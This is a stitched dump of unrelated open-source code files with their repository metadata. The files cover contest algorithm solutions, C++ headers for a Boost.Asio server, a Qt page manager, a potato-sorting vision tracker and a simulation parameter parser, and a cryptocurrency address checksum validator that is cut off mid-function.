for (int i = 0; i < height.size(); i++)
{
int max_left = 0, max_right = 0;
for (int j = i; j >= 0; j--)
{
max_left = std::max(max_left, height[j]);
}
for (int k = i; k < height.size(); k++)
{
max_right = std::max(max_right, height[k]);
}
ans += std::min(max_left, max_right) - height[i];
}
return ans;
}
int trapRain2(std::vector<int> &height)
{
if (height.size() == 0)
return 0;
int n = height.size();
std::vector<int> left(n);
std::vector<int> right(n);
left[0] = height[0];
for (int i = 1; i < n; i++)
left[i] = std::max(left[i - 1], height[i]);
right[n - 1] = height[n - 1];
for (int i = n - 2; i >= 0; i--)
right[i] = std::max(right[i + 1], height[i]);
int ans = 0;
for (int i = 1; i < n - 1; i++)
ans += std::min(left[i], right[i]) - height[i];
return ans;
}
int main()
{
std::vector<int> height{0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1};
std::cout << trapRain2(height) << std::endl;
std::cin.get();
}
|
[
"32868278+mshtang@users.noreply.github.com"
] |
32868278+mshtang@users.noreply.github.com
|
caf7826de3be5e6a8f88d8227c6126261dc23b7a
|
2d822e89ff0caccfee64dce7773a12bf4292096e
|
/BasicAlgorithm/usaco_skidesign.cpp
|
2308f7bd746ac36c722abb373b8c782df2d79b8a
|
[] |
no_license
|
dalewzm/Algorithm_learn
|
a97956dd99a5b4b0aaac0d4541283e8a64765ad8
|
e429cd3deffee7b486f2c99fad59f028c654e42d
|
refs/heads/master
| 2021-01-16T21:52:04.783429
| 2019-06-19T12:56:02
| 2019-06-19T12:56:02
| 19,367,507
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,946
|
cpp
|
/*
ID: dalewzm1
PROG: skidesign
LANG: C++
*/
#include<iostream>
#include<cstdio>
#include<algorithm>
#include<vector>
#pragma warning(disable:4996)
using namespace std;
//#define __ONLINE__ 1
#ifndef __ONLINE__
#define FILE_NAME "wormhole"
//#define IFILE FILE_NAME.in
#include<fstream>
#include<string>
ifstream fin("skidesign.in");
ofstream fou("skidesign.out");
#define in(a) fin>>a
#define out(a) fou<<a<<endl
#define inpoint(p) fin>>p.x>>p.y
#else
#define in(a) cin>>a
#define out(a) cout<<a
#define inpoint(p) cin>>p.x>>p.y
#endif
typedef struct hill
{
hill(int h=0){ height = h, num = 1; }
int num;
int height;
bool operator <(const hill& rhs) const
{
return height < rhs.height;
}
}hill;
const int len = 1001;
int high[len];
hill hills[len];
int n;
int minh, maxh,cnt;
int res;
void init()
{
sort(high, high + n);
minh = high[0], maxh = high[n-1];
cnt = 0;
hills[cnt].height = high[0];
hills[cnt].num = 1;
for (int i = 1; i < n; ++i)
{
if (high[i] == hills[cnt].height)
hills[cnt].num++;
else{
hills[++cnt].num = 1;
hills[cnt].height = high[i];
}
}
++cnt;
}
int getCost(int add, int sub)
{
hill* lp = upper_bound(hills, hills + cnt, hill(minh + add));
int sum =0;
for (hill* begin = hills; begin < lp; begin++)
{
sum += (minh + add - begin->height)*(minh + add - begin->height)*(begin->num);
}
hill* rp = lower_bound(hills, hills + cnt, hill(maxh - sub));
for (hill* it = rp; it < hills + cnt; it++)
sum += (it->height - maxh + sub)*(it->height - maxh + sub)*(it->num);
return sum;
}
void solve()
{
if (maxh - minh <= 17)
{
res = 0;
return;
}
int need = maxh - minh-17;
res = 10000 * 10000;
for (int i = need / 2; i >= 0; --i)
{
int other = need - i;
int tmp = getCost(i, other);
if (res > tmp)
res = tmp;
tmp = getCost(other, i);
if (res > tmp)
res = tmp;
}
}
int main()
{
in(n);
for (int i = 0; i < n; ++i)
in(high[i]);
init();
solve();
out(res);
}
|
[
"wangzmin@mail2.sysu.edu.cn"
] |
wangzmin@mail2.sysu.edu.cn
|
9f9208632c26790ee0ae8219d3a6a70f6b02c35f
|
55ae69d5edfaf3e0f1327098b145b6e9731936d7
|
/stacks.cpp
|
a5040a9a05ceb3bddc06258f34573b92e16ab714
|
[] |
no_license
|
gkourtis/napl3
|
89153fac80a8e8edbd6744a70d2574d544d20b84
|
0051b4edc4107f8b2db62f3d183859127699b239
|
refs/heads/master
| 2021-01-10T11:25:01.825251
| 2016-01-14T19:56:59
| 2016-01-14T19:56:59
| 49,670,807
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 484
|
cpp
|
void ET::newStack(Word executionLevel){
stacks.push(newAggregate());
}
void ET::newString(Word executionLevel){
stacks.push(::newString());
}
Aggregate ET::closeStack(){
return stacks.pop();
}
void ET::openStack(){
obj o=stack().pop();
stacks.push(o);
}
void ET::oldStack(){
obj o=closeStack();
stack().push(o);
}
void ET::interStackMove(){
stack().push( ((Aggregate)(stacks[~2])).pop() );
}
void ET::interStackDup(){
stack().push( ((Aggregate)(stacks[~2])).tos() );
}
|
[
"gkourtis@freemail.gr"
] |
gkourtis@freemail.gr
|
014d9650c96ce7d3e15d1f69f78b565afb5287c4
|
f55477989f690571822c034c44a4ff99ca86790d
|
/Server/TestHttpServer/connection.hpp
|
f69505bc387cf88436ef83c65d16bf18f9d946e2
|
[] |
no_license
|
Arielce/c2p_server
|
9532564c0ac7ed9ee6d5c938d26304722030349f
|
8290cedb3b07ec2038aa5dcb69682b0386bf8071
|
refs/heads/master
| 2020-04-07T16:31:54.913823
| 2014-08-02T05:54:49
| 2014-08-02T05:54:49
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,128
|
hpp
|
//
// connection.hpp
// ~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2010 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef HTTP_SERVER3_CONNECTION_HPP
#define HTTP_SERVER3_CONNECTION_HPP
#include <boost/asio.hpp>
#include <boost/array.hpp>
#include <boost/noncopyable.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/enable_shared_from_this.hpp>
#include "reply.hpp"
#include "request.hpp"
#include "request_handler.hpp"
#include "request_parser.hpp"
namespace http {
namespace server3 {
/// Represents a single connection from a client.
class connection
: public boost::enable_shared_from_this<connection>,
private boost::noncopyable
{
public:
/// Construct a connection with the given io_service.
explicit connection(boost::asio::io_service& io_service,
request_handler& handler);
/// Get the socket associated with the connection.
boost::asio::ip::tcp::socket& socket();
/// Start the first asynchronous operation for the connection.
void start();
private:
/// Handle completion of a read operation.
void handle_read(const boost::system::error_code& e,
std::size_t bytes_transferred);
/// Handle completion of a write operation.
void handle_write(const boost::system::error_code& e);
/// Strand to ensure the connection's handlers are not called concurrently.
boost::asio::io_service::strand strand_;
/// Socket for the connection.
boost::asio::ip::tcp::socket socket_;
/// The handler used to process the incoming request.
request_handler& request_handler_;
/// Buffer for incoming data.
boost::array<char, 8192> buffer_;
/// The incoming request.
request request_;
/// The parser for the incoming request.
request_parser request_parser_;
/// The reply to be sent back to the client.
reply reply_;
};
typedef boost::shared_ptr<connection> connection_ptr;
} // namespace server3
} // namespace http
#endif // HTTP_SERVER3_CONNECTION_HPP
|
[
"lovemychobits@sohu.com"
] |
lovemychobits@sohu.com
|
4ac79170f87bac1274c7d53fcd15d1c4b2761cdd
|
db92a3f5f885a6733b385531f0109bfdb2cdca72
|
/src/application/ui/Common/thumbnail/c7pagemanager.h
|
2144dea7147818fa4c9dbe45d18213a703898f4d
|
[] |
no_license
|
zb872676223/QtFor2048
|
fa850329fc8102088bc2cd375af849ca40a47a91
|
b31dff79294e9ffeb2298a0bb7982883b6987bba
|
refs/heads/master
| 2022-12-18T20:15:57.280852
| 2020-09-29T15:01:34
| 2020-09-29T15:01:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,565
|
h
|
#ifndef C7PageManager_H
#define C7PageManager_H
#include "Manager/c7baseuimanager.h"
class C7PageManagerToolBar;
class C7PageSelectWidget;
/**
* @brief 管理添加画面和显示画面
* @author xinde song
* @date 2019-12-20
*/
class C7PageManager : public C7BaseUiManager
{
Q_OBJECT
public:
explicit C7PageManager(int branch, QWidget *parentWidget, QObject *parent = nullptr);
void hideThumbnail();
void updateItem(QList<int>,bool isOversea = false); //云文件加载需进行页面重置
void initToolBarStatus();//针对海外版工具栏
void updateCurrentItemBg();
protected:
void initUi();
public slots:
//刷新缩略图
void onUpdateThumbnail();
private:
void updatePos(bool onlyOne);
signals:
//切换当前页,切换页时保存动作的逻辑由主场景中执行
void sigCurrentPageChanged(int id,bool isDelete,bool update);
//新增页,新增页时保存动作的逻辑由主场景中执行 isFirst=是否第一次添加
void sigAddPage(int id,bool isFirst,bool update);
//删除页,删除页时,切换或者新增页动作由本类中实现
void sigDeletePage(int id);
//关闭软件窗口
void sigClose();
void sigLoadingOutTime();
//加载云文件时新增页面,简化上面的addpage操作
void sigSimAddPage(int id);
void sigThumbnailShow();
private:
QWidget *m_pParentWidget = nullptr;
C7PageSelectWidget *m_pSelectWidget = nullptr;
C7PageManagerToolBar *m_pManagerWidget = nullptr;
};
#endif // C7PageManager_H
|
[
"1160975809@qq.com"
] |
1160975809@qq.com
|
e6a3b92377bb87e3f618216f1816d0a231d63f25
|
1786f51414ac5919b4a80c7858e11f7eb12cb1a9
|
/USST/2019夏集训/jxc/jxc_1.cpp
|
adfc3490e3bb70d359d78fff02257788c3192225
|
[] |
no_license
|
SetsunaChyan/OI_source_code
|
206c4d7a0d2587a4d09beeeb185765bca0948f27
|
bb484131e02467cdccd6456ea1ecb17a72f6e3f6
|
refs/heads/master
| 2020-04-06T21:42:44.429553
| 2019-12-02T09:18:54
| 2019-12-02T09:18:54
| 157,811,588
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,161
|
cpp
|
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
int n,num[500005],m,limit[500005];
double ans;
ll bit[500005],x,p,q;
vector<ll> v[500005];
void add(ll bit[],int x,ll y){for(;x<=m;x+=x&-x) bit[x]+=y;}
ll sum(ll bit[],int x)
{
ll ret=0;
for(;x;x-=x&-x) ret+=bit[x];
return ret;
}
void solve()
{
memset(bit,0,sizeof(bit));
m=0,ans=0;
scanf("%d",&n);
for(int i=0;i<n;i++)
scanf("%d",&limit[i]);
for(int i=0;i<n;i++)
{
v[i].clear();
scanf("%d",&num[i]);
m=max(m,num[i]);
for(int j=0;j<num[i];j++)
scanf("%lld",&x),v[i].push_back(x);
sort(v[i].rbegin(),v[i].rend());
}
for(int i=0;i<n;i++)
{
if(num[i]<limit[i]) continue;
for(int j=0;j<limit[i];j++) add(bit,limit[i],v[i][j]);
for(int j=limit[i];j<num[i];j++) add(bit,j+1,v[i][j]);
}
for(int i=1;i<=m;i++)
{
ll tmp=sum(bit,i);
if((double)tmp/i>ans) ans=(double)tmp/i,p=tmp,q=i;
}
ll tmp=__gcd(p,q);
printf("%lld/%lld\n",p/tmp,q/tmp);
}
int main()
{
int _;
scanf("%d",&_);
while(_--) solve();
return 0;
}
|
[
"ctzguozi@163.com"
] |
ctzguozi@163.com
|
2bb10ee6d9986d2a12d99a8e3a1f35dd4341c7fb
|
d705437fe4d5d7d0f585e4e924f0a305d6c54886
|
/Extras/Dokumentation/DemoSorter 2004/DSP/Flexivision/vision/classVisTracker.h
|
7f59d848ad1ed9d6f9a2e3ecf8d00752c7347ddf
|
[] |
no_license
|
scs/leanxsugus
|
789ccb186e3c83131e7ada323f9a4963bd1515ab
|
a62c4a45a0dba97e78e1bbe67ccc17f90b25df82
|
refs/heads/master
| 2020-04-14T06:25:54.290182
| 2008-12-17T17:56:22
| 2008-12-17T17:56:22
| 189,482
| 2
| 0
| null | null | null | null |
ISO-8859-1
|
C++
| false
| false
| 8,423
|
h
|
/**
* @file
* @author Bernhard Mäder
*/
#ifndef _CLASSVISTRACKER_H_
#define _CLASSVISTRACKER_H_
#include "classVisComponent.h"
#include "classVisProperty.h"
#include "classVisInputPort.h"
#include "classVisOutputPort.h"
#include "classVisFastLabel.h"
/**
* This is the structure that is used to build the list of currently known potato objects.
*/
struct PotatoObject
{
enum PotatoObjectConsts
{
/**
* The number of partial bits in this struct's fixed point numbers.
* Fixed point numbers are used by the classification values.
*/
FP_FRACTIONAL_BITS = 16,
/**
* The maximum number of frames that is used to classify a potato.
* Since classification results of each frame are stored, this value
* defines the size of that list.
*/
MAX_FRAMES_PER_POTATO = 20
};
Uint32 unPotatoClass;
Uint32 unPotatoLength;
Uint32 unPotatoWidth;
Int nLastSeenPos_mm_X;
Int nLastSeenPos_mm_Y;
/** The time at which the potato was last seen. In ms. */
Uint32 unLastSeenTime_ms;
Uint32 unLastSeenImage;
Int nPredictedPos_mm_X;
Int nPredictedPos_mm_Y;
/**
* The number of the current image seen of this potato. This increments whith each
* frame that the potatoe could succesfully be tracked. This number also defines the
* number of classification results available in the classification result arrays. So,
*
*/
Uint32 unCurrentImageNum;
/**
* A reference to an entry in the current frame's label list. That label is the contouring
* object that was identified (i.e. tracked) as this potato.
*/
Uint32 unCurrentLabel;
/**
* Stores the bounding box in the local coordinate system of the images created by the cutter.
* This value is only valid after the cutter has processed the image.
*/
Uint16 unLocalBoundingLeft;
Uint16 unLocalBoundingTop;
Uint16 unLocalBoundingRight;
Uint16 unLocalBoundingBottom;
/**
* These are the classification results for each frame. Each of the classification
* components write their result to those arrays, frame by frame. The classification
* task may then retrieve this data and generate an overall classification result
* for this potato.
*/
Uint32 unpClassificationColor[MAX_FRAMES_PER_POTATO];
Uint32 unpClassificationGreen[MAX_FRAMES_PER_POTATO];
Uint32 unpClassificationForm[MAX_FRAMES_PER_POTATO];
Uint32 unpClassificationSplit[MAX_FRAMES_PER_POTATO];
/**
* This flag is set when the potato could succesfully be tracked in the current frame.
* It is only valid during the current frame and shouldn't be accessed by any other
* task than the tracker.
*/
bool bTracked;
/**
* This flag defines whether the potato object is valid (and in use) or not.
* The flag may only be set by the VisTracker module and only be cleared by
* the (asynchronous) classification task.
*/
bool bValid;
/**
* This flag is set when the potato could succesfully be tracked in the valid
* drop zone. This implies that, when the potato reaches the drop zone, it may
* be classified and the appropriate ejection commands may be generated.
*/
bool bValidEjection;
/**
* This flag is set when the potato's predicted position reaches the drop zone and
* thus must be cleared by the classification task, which may, depending on the
* above flag, generate ejection commands for it, or not.
*/
bool bDropIt;
/**
* A flag that tells the classification task to discard this object as soon as possible.
* The discard flag is used to remove objects that couldn't be tracked for a too long time.
*/
bool bDiscard;
/**
* Predicts this potato's position and stores the value in unPredictedPos_mm_*. The current
* time (in global milliseconds) has to be specified as well as the current conveyor's speed
* in fixed point (Q.16) m/s format.
*/
void PredictPosition( Uint32 unCurTime, Int fp16ConveyorSpeed);
};
/**
* This is the list of currently known potatoes.
*/
struct PotatoList
{
enum PotatoListConsts {
MAX_OBJECTS = 256
};
/**
* This variable is used by the cutter to identify the potato currently
* being processed.
*/
Uint32 unCurrentPotatoId;
/**
* A list of the potato objects.
*/
PotatoObject pObjects[ MAX_OBJECTS ];
};
/**
* @brief The potato tracker class.
*
* The potato tracker class, which tracks all known potatoes.
*/
class CVisTracker : public CVisComponent
{
public:
/**
* Constructor.
*/
CVisTracker( const Char * strName );
/**
* The main processing function.
*/
void DoProcessing( );
void SetCurrentImageTime( Uint32 unMilliseconds );
void SetConveyorSpeed( Uint32 fp16Speed );
/**
* Tells the tracker that the processing of a specific potato has completed.
* This will increment the counter of the number of classified frames per
* potato. Due to the asynchronous nature of the classification task, this
* may only be done AFTER all classification results are written to the result
* arrays.
*
* DoneWithPotato() must be called by the vision object.
*/
void DoneWithPotato( const Uint32 unPotatoId );
protected:
/**
* Clears the objects list. This usually has to be done before the first
* processing step or when there was a long pause (e.g. when switching from
* calibration to classification).
*/
void ClearList();
/**
* Tracks all objects given in the potObj list and tries to match them with the
* labels in labelObj list.
*/
void TrackObjects( FastLabelObject * labelObjects, PotatoObject * potObjects );
/**
* Adds all not yet tracked objects to the list of known objects. This must be called
* after the known objects are have been tracked by TrackObjects().
*/
void AddNewObjects( const FastLabelObject * labelObjects, PotatoObject * potObjects );
/** A flag that triggers the clearing of the potato list in the next processing step. */
bool m_bClearListNext;
PotatoObject * m_pPotatoList;
CVisInputPort m_iportLabelObjects;
CVisOutputPort m_oportPotatoObjects;
/**
* Defines the millimeters per pixel, representation is in fixed point
* format with 16 bits after the point.
*/
Uint32 m_fpMillimeterPerPixel;
CVisProperty m_propMillimeterPerPixel;
/**
* Defines the conveyor's speed pixels per millisecond (if a pixel equals a mm, the speed is in m/s),
* representation is in fixed point format with 16 fractional bits (Q.16).
*/
Uint32 m_fpConveyorSpeed;
/**
* Defines the current frame's timestamp.
*/
Uint32 m_unCurrentFrameTime;
/**
* Defines the radius from the predicted position in which to search for an object.
* The radius is stored ^2 and its unit is pixels.
*/
Int32 m_nSearchRadius2;
CVisProperty m_propSearchRadius2;
/**
* The zone in which new label objects may be inserted to the potato objects list.
* The insertion zone spans from the top of the image (where the potatoes are
* supposed to enter the image...) as many pixels down as given by this parameter.
*/
Int32 m_nInsertionZone;
CVisProperty m_propInsertionZone;
/**
* This zone defines the area of the image where potatoes are dropped off the tracker's
* list and, probably, ejected by the classification task. This area must not be larger
* than the average y distance between two potatoes, so that only one potato per column
* may be dropped at a time.
*
* The drop zone spans from the bottom of the image upwards, as many pixels as specified.
*
* Note: The drop zone and the insertion zone mustn't overlap! Dropped potatoes would otherwise
* be immediately added to the list again.
*/
Int32 m_nDropZone;
CVisProperty m_propDropZone;
/**
* This zones defines the area in which a succesfull tracking of a potato leads to the
* generation of ejection commands for that potato. That means, if a potato could not be
* tracked at least once in this zone, no ejection commands will be generated it it reaches
* the drop zone (or, in this case, if it's predicted position reaches the drop zone).
*
* Like the drop zone, the valid ejection zone also spans from the bottom of the image upwards.
*/
Int32 m_nValidEjectionZone;
CVisProperty m_propValidEjectionZone;
/**
* This property defines the TIME after which an object should be deleted when it could not
* be tracked. The drop time is specified in milliseconds.
*/
Int32 m_nDropTime;
CVisProperty m_propDropTime;
};
#endif
|
[
"michael.schwarz@scs.ch"
] |
michael.schwarz@scs.ch
|
810b214751e1dc0c58e9c5f71b5b96077af4c3b4
|
cea7d9991dcd021a2489382db4cf9f9f36007b7b
|
/src/mmap.cpp
|
0bb510ccba84657a5705300dcfe8ecd0ebf0b1db
|
[] |
no_license
|
mythagel/photodb
|
83e5389ca1b20373d11a67de31d279664f9fc430
|
c084545e0246174875830ba9ad100cb799fc84fc
|
refs/heads/master
| 2021-01-02T23:14:06.795392
| 2013-08-28T23:00:16
| 2013-08-28T23:00:16
| 9,494,205
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 735
|
cpp
|
/*
* mmap.cpp
*
* Created on: 17/04/2013
* Author: nicholas
*/
#include "mmap.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "util.h"
#include <cstring>
#include <unistd.h>
fd_t::fd_t(const char* name, int flags)
: fd(open(name, flags))
{
throw_if(fd == -1, strerror(errno));
}
fd_t::operator int() const
{
return fd;
}
fd_t::~fd_t()
{
close(fd);
}
mmap_t::mmap_t(const char* filename, std::size_t size)
: fd(filename, O_RDONLY), addr(nullptr), size(size)
{
addr = mmap(nullptr, size, PROT_READ, MAP_PRIVATE, fd, 0);
throw_if(addr == MAP_FAILED, strerror(errno));
}
mmap_t::operator void*() const
{
return addr;
}
mmap_t::~mmap_t()
{
munmap(addr, size);
}
|
[
"mythagel@gmail.com"
] |
mythagel@gmail.com
|
2dba9089d28f055bb95102d44eefc5b027e48b01
|
1eb722a3eaa9c9c9fa4a73ce40762215b7fff9d1
|
/src/paramsparser.h
|
cd94b6dada0c18b3b840b05a84a5183af5d3e0f3
|
[] |
no_license
|
oliviercotto/NCOMMS-16-18804A
|
b90c422dca54d8ca4e1e35570aa1a3c28359097f
|
d64574c3a00db9561d3690502b1dc108972b3614
|
refs/heads/master
| 2021-01-22T18:23:55.538762
| 2017-05-13T05:44:48
| 2017-05-13T05:44:48
| 85,080,146
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,419
|
h
|
/** $Id: paramsparser.h,v 1.5.2.1 2016-03-09 15:05:53 fred Exp $
*
* @file paramsparser.h
* Nemo2
*
* Copyright (C) 2006-2015 Frederic Guillaume
* frederic.guillaume@ieu.uzh.ch
*
* This file is part of Nemo
*
* Nemo is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Nemo is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* created on @date 09.05.2005
*
* @author fred
*/
#ifndef PARSER_H
#define PARSER_H
#include <iostream>
#include <vector>
#include <string>
#include <map>
using namespace std;
/**Provides interface to read input parameters from various sources and parses them. */
class ParamsParser {
public:
ParamsParser(const char* name) {_sname = name;}
virtual ~ParamsParser(){}
void setName(const char* name) {_sname = name;}
map< string, string > get_inputParams() {return _inputParams;}
map< string, vector< string > >& getParsedParameters(const char* stream_name);
map< string, vector< string > >& getParsedParameters( ) {return _parsedParams;}
map< string, string >& getParameters(const char* stream_name);
map< string, string >& getParameters( ) {return _inputParams;}
/**Read/parse params & args from a file or a string or an R object.
Params and their args are put in the _inputParams.*/
virtual bool read(const char* stream) = 0;
/**Builds the _parsedParams from the _inputParams.
This defines rules of sequential, matricial params, etc.*/
void parse();
static void getBlockArgument (istream& IN, char& c, string& arg);
static void getArguments (string& arg_str, vector< string >& arg_vect);
protected:
void reset_inputParams() {_inputParams.clear();}
void add_inputParam (string& param, const string& arg) {_inputParams[param] = arg;}
private:
/**Attached file of stream name.*/
const char* _sname;
/**The whole, unparsed set of input parameters.*/
map< string, string > _inputParams;
/**The parsed set of simulation parameters after sequential parameters have been separated.*/
map< string, vector< string > > _parsedParams;
};
/**Read parameters from a text buffer. */
class StreamParser: public ParamsParser {
public:
StreamParser(const char* stream) : ParamsParser(stream) {}
virtual ~StreamParser(){}
virtual bool read (const char* stream);
static bool removeComment (istream& IN, int& l_count);
static bool removeSpaceAndComment (istream& IN, int& l_count, bool keepLast = false);
virtual bool readArguments (istream& IN, int& l_count, string& args);
static string readUntilCharacter (istream& IN, int& l_count, char& start_c, const char end_c);
static void eatLine (istream& IN, int& l_count);
void replaceCR (string& stream, const char rpl = '\n');
private:
};
#endif
|
[
"oliviercotto@hotmail.fr"
] |
oliviercotto@hotmail.fr
|
1ad9a02f99065482354332039e61f80cb7d52018
|
3d063cd09051f324db334ff07428ac9853221614
|
/main.cpp
|
3e702cfbbe4615b448cbdcb52d68acb77c8d0235
|
[] |
no_license
|
publiqnet/AddrValJS
|
eba84c66ddbc5f78c9d37063e9ad926a15c64012
|
b5bf765c47fcef8d1352e86aee2d212017c5d428
|
refs/heads/master
| 2020-06-14T12:04:30.260596
| 2019-07-26T12:00:10
| 2019-07-26T12:04:53
| 194,999,885
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 14,866
|
cpp
|
#include <cryptopp/config.h>
#ifndef CRYPTOPP_NO_GLOBAL_BYTE
namespace CryptoPP
{
typedef unsigned char byte;
}
#endif
#include <cryptopp/aes.h>
#include <cryptopp/crc.h>
#include <cryptopp/filters.h>
#include <cryptopp/hex.h>
#include <cryptopp/keccak.h>
#include <cryptopp/modes.h>
#include <cryptopp/osrng.h>
#include <cryptopp/sha.h>
#include <cryptopp/ripemd.h>
#include <sstream>
#include <iostream>
static CryptoPP::SHA512 _sha512;
static CryptoPP::SHA256 _sha256;
static CryptoPP::RIPEMD160 _rmd160;
static CryptoPP::Keccak_256 _kck256;
using buf64 = unsigned char [64];
using buf32 = unsigned char [32];
using buf20 = unsigned char [20];
static std::vector<unsigned char> from_hex(std::string const &x_str);
static void sha512(buf64 ret, unsigned char *data, uint32_t sz)
{
_sha512.CalculateDigest(ret, data, sz);
}
static void sha256(buf32 ret, unsigned char *data, uint32_t sz)
{
_sha256.CalculateDigest(ret, data, sz);
}
static void rmd160(buf20 ret, unsigned char *data, uint32_t sz)
{
_rmd160.CalculateDigest(ret, data, sz);
}
static void kck256(buf32 ret, unsigned char *data, uint32_t sz)
{
_kck256.CalculateDigest(ret, data, sz);
}
CryptoPP::Integer _from_base(std::string const & str, std::string const & alphabet)
{
size_t b = alphabet.length();
CryptoPP::Integer res = 0, e = 1;
for(auto it = str.rbegin(); it != str.rend(); ++it)
{
auto i = alphabet.find_first_of(*it);
res += i*e;
e *= b;
}
return res;
}
std::vector<unsigned char> i_to_v(CryptoPP::Integer const &i)
{
std::vector<unsigned char> v(i.ByteCount());
i.Encode(&v[0], v.size());
return v;
}
std::vector<unsigned char> from_base58(std::string const & b58_str, std::string const & alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz")
{
auto res = _from_base(b58_str, alphabet);
return i_to_v(res);
}
std::vector<unsigned char> from_base32(std::string const & b32_str, std::string const & alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567")
{
auto res = _from_base(b32_str, alphabet);
return i_to_v(res);
}
template <typename T>
void prepad(std::vector<T> &vch, size_t final_size)
{
auto sz = vch.size( );
if(sz < final_size)
{
vch.resize(final_size);
std::move(vch.begin( ), vch.begin( ) + sz, vch.begin( ) + final_size - sz);
std::fill(vch.begin( ), vch.begin( ) + final_size - sz, 0);
}
}
template <typename HASH, uint8_t chk_sz = 4>
bool validate_pk(std::string const & addr, HASH _hash)
{
auto vch = from_base58(addr);
if ( vch.size() > chk_sz)
{
std::string result(vch.begin(), vch.end() - chk_sz);
std::string chk_str_(vch.end() - chk_sz, vch.end());
std::string chk_str{};
CryptoPP::StringSource ss(result, true,
new CryptoPP::HashFilter(_hash, new CryptoPP::StringSink(chk_str)));
chk_str.resize(chk_sz);
if(chk_str == chk_str_)
return true;
}
return false;
}
bool validate_CVA(std::string addr)
{
if (addr.substr(0, 3) != "CVA")
return false;
addr = addr.substr(3);
auto delim = addr.find("_");
if(delim == std::string::npos)
return validate_pk(addr, _rmd160);
auto A = addr.substr(0, delim);
auto B = addr.substr(delim + 1);
return validate_pk(A, _rmd160) && validate_pk(B, _rmd160);
}
bool validate_PBQ(std::string addr)
{
if (addr.substr(0, 3) != "PBQ")
return false;
addr = addr.substr(3);
return validate_pk(addr, _rmd160);
}
bool validate_ETH(std::string addr)
{
auto delim = addr.find("x");
if(delim != std::string::npos)
addr = addr.substr(delim + 1);
if(addr.length( ) != 2 * 20)
return false;
auto addr_ = addr;
for(auto &&i : addr_)
i = std::tolower(i);
buf32 hash;
kck256(hash, (unsigned char *) addr_.data( ), addr_.length( ));
for(uint8_t i = 0; i < addr.length( ); ++i)
{
uint8_t bit_n = i % 2 ? 0x08 : 0x80;
uint8_t byte_n = i >> 1;
uint8_t chk = hash[byte_n] & bit_n;
switch(addr[i])
{
case 'A':
case 'B':
case 'C':
case 'D':
case 'E':
case 'F':
{
if(0 == chk)
return false;
break;
}
case 'a':
case 'b':
case 'c':
case 'd':
case 'e':
case 'f':
{
if(0 != chk)
return false;
break;
}
}
}
return true;
}
bool validate_BTC(std::string addr)
{
uint8_t chk_sz = 4;
auto vch = from_base58(addr);
prepad(vch, 1 + 20 + chk_sz);
switch(vch[0])
{
case 0:
case 5:
{
std::string result(vch.begin( ), vch.end( ) - chk_sz);
std::string chk_str_(vch.end( ) - chk_sz, vch.end( ));
buf32 chk_str, chk_str__;
sha256(chk_str__, (unsigned char *) result.data( ), result.size( ));
sha256(chk_str, chk_str__, sizeof(chk_str__));
if(0 == memcmp(chk_str, chk_str_.data( ), chk_sz))
return true;
}
}
return false;
}
bool validate_XRP(std::string addr)
{
uint8_t chk_sz = 4;
auto vch = from_base58(addr, "rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz");
prepad(vch, 1 + 20 + chk_sz);
switch(vch[0])
{
case 0:
case 5:
{
std::string result(vch.begin( ), vch.end( ) - chk_sz);
std::string chk_str_(vch.end( ) - chk_sz, vch.end( ));
buf32 chk_str, chk_str__;
sha256(chk_str__, (unsigned char *) result.data( ), result.size( ));
sha256(chk_str, chk_str__, sizeof(chk_str__));
if(0 == memcmp(chk_str, chk_str_.data( ), chk_sz))
return true;
}
}
return false;
}
/* Calculating XMODEM CRC-16 in 'C'
================================
Reference model for the translated code */
/* On entry, addr=>start of data
num = length of data
crc = incoming CRC */
int crc16(unsigned char *addr, int num, int crc)
{
static const int poly = 0x1021;
int i;
for(; num > 0; num--) /* Step through bytes in memory */
{
crc = crc ^ (*addr++ << 8); /* Fetch byte from memory, XOR into CRC top byte*/
for(i = 0; i < 8; i++) /* Prepare to rotate 8 bits */
{
crc = crc << 1; /* rotate */
if(crc & 0x10000) /* bit 15 was set (now bit 16)... */
crc = (crc ^ poly) & 0xFFFF; /* XOR with XMODEM polynomic */
/* and ensure CRC remains 16-bit value */
} /* Loop for 8 bits */
} /* Loop until num=0 */
return (crc); /* Return updated CRC */
}
bool validate_XLM(std::string addr)
{
uint8_t chk_sz = 2;
auto vch = from_base32(addr);
auto sz = vch.size( );
if(sz != 1 + 32 + chk_sz)
return false;
switch(vch[0])
{
case 6 << 3: // G
case 18 << 3: // S
{
auto crc = crc16(vch.data( ), 33, 0);
std::string chk_str_(vch.end( ) - chk_sz, vch.end( ));
if(0 == memcmp(&crc, chk_str_.data( ), chk_sz))
return true;
}
}
return false;
}
bool validate_ADA(std::string addr)
{
auto vch = from_base58(addr);
if (vch[0] != 0x82)
return false;
if (vch[1] != 0xD8)
return false;
